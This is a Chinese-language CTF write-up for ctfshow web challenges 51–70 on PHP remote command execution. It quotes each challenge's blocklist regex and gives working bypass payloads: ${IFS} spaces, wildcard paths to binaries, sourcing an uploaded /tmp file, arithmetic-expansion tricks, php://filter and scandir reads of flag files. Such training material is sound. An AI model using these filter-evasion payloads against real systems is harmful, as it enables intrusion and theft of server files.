rce漏洞-ctfshow(50-70)

Web51

if(!preg_match("/\;|cat|flag| |[0-9]|\\\|\\\*\|more\|less\|head\|sort\|tail\|sed\|cut\|tac\|awk\|strings\|od\|curl\|\\\`\|\\%\|\\x09\|\\x26/i", c)){

system($c." >/dev/null 2>&1");

}

Nl,绕过tac,cat,绕过flag

Payload

?c=nl<fla''g.php||

?c=nl<fla\g.php||

Web52

用 ${IFS} 绕过空格

Payload:

url + ?c=nl${IFS}fla''g.php||

Web53

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){

echo($c);

d = system(c);

echo "<br>".$d;

}

用 ${IFS} 绕过空格

Payload:

url + ?c=nl${IFS}fla''g.php||

Web54

if(isset($_GET['c'])){

c=_GET['c'];

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c);

}

}else{

highlight_file(FILE);

}

绕过|.*f.*l.*a.*g.*|

这里的/bin/是指bin目录下检索c??,不然在当前目录是没有这个命令的

Payload:

url + ?c=/bin/?at${IFS}f???.php

url + ?c=vi${IFS}f???.php

Web55

无字母rce

Payload1:

?c=/???/????64 ????.???

意思为:?c=/bin/base64 flag.php

Payload2:

url + ?c=/???/???/????2 ????.???
url + flag.php.bz2

利用 /usr/bin/ 下的 bzip2 命令,先将 flag.php 文件进行压缩,然后再将其下载。

bzip2 命令压缩后的文件以 " .bz2 " 为后缀

Web56

无数字字母rce

构造html

<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->

<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<meta name="viewport" content="width=device-width, initial-scale=1.0">

<title>POST数据包POC</title>

</head>

<body>

<form action="https://cb0ce2f1-4e4d-4c4d-b03c-74849a97ac86.challenge.ctf.show/" method="post" enctype="multipart/form-data">

<!--链接是当前打开的题目链接-->

<label for="file">文件名:</label>

<input type="file" name="file" id="file"><br>

<input type="submit" name="submit" value="提交">

</form>

</body>

</html>

替换<form action="https://cb0ce2f1-4e4d-4c4d-b03c-74849a97ac86.challenge.ctf.show/" method="post" enctype="multipart/form-data">

的链接

payload:

?c=.%20/???/????????[@-[]

原理:

Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。

Linux 中 .(点)命令,或者叫 period,它的作用和 source 命令一样,就是用当前的 shell 执行一个文件中的命令。

ascii 码表中,大写字母位于 " @ " 与 " [ " 之间。

Web57

对 -37 再次取反即可得到 36。

根据 ((\~ (()) ))=-1,我们进行拼接,构造出 -37

Payload:

bash 复制代码
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

Web58

Paylaod:

c=show_source('flag.php');

c=highlight_file("flag.php");

c=file_get_contents('flag.php');

filter协议:

c=include "php://filter/read=convert.base64-encode/resource=flag.php";

Web59-65

同58的做题一样

Paylaod:

c=show_source('flag.php');

c=highlight_file("flag.php");

c=file_get_contents('flag.php');

filter协议:

c=include "php://filter/read=convert.base64-encode/resource=flag.php";

web66

扫描目录

c=print_r(scandir('/'));
Paylaod:

c=show_source('/flag.txt');

c=highlight_file("/flag.txt");

c=file_get_contents('/flag.txt');

Web67-70

扫描目录

c=var_dump(scandir('/'));

c=var_export(scandir("/"));

Payload

c=include("/flag.txt");

相关推荐
恋猫de小郭16 分钟前
Meta 宣布加入 Kotlin 基金会,将为 Kotlin 和 Android 生态提供全新支持
android·开发语言·ios·kotlin
aqi001 小时前
FFmpeg开发笔记(七十七)Android的开源音视频剪辑框架RxFFmpeg
android·ffmpeg·音视频·流媒体
2501_915909062 小时前
调试 WebView 旧资源缓存问题:一次从偶发到复现的实战经历
websocket·网络协议·tcp/ip·http·网络安全·https·udp
androidwork3 小时前
深入解析内存抖动:定位与修复实战(Kotlin版)
android·kotlin
梦天20153 小时前
android核心技术摘要
android
szhangbiao5 小时前
“开发板”类APP如果做屏幕适配
android
2501_915921435 小时前
请求未达服务端?iOS端HTTPS链路异常的多工具抓包排查记录
websocket·网络协议·tcp/ip·http·网络安全·https·udp
高林雨露6 小时前
RecyclerView中跳转到最后一条item并确保它在可视区域内显示
android
移动开发者1号8 小时前
ReLinker优化So库加载指南
android·kotlin
山野万里__8 小时前
C++与Java内存共享技术:跨平台与跨语言实现指南
android·java·c++·笔记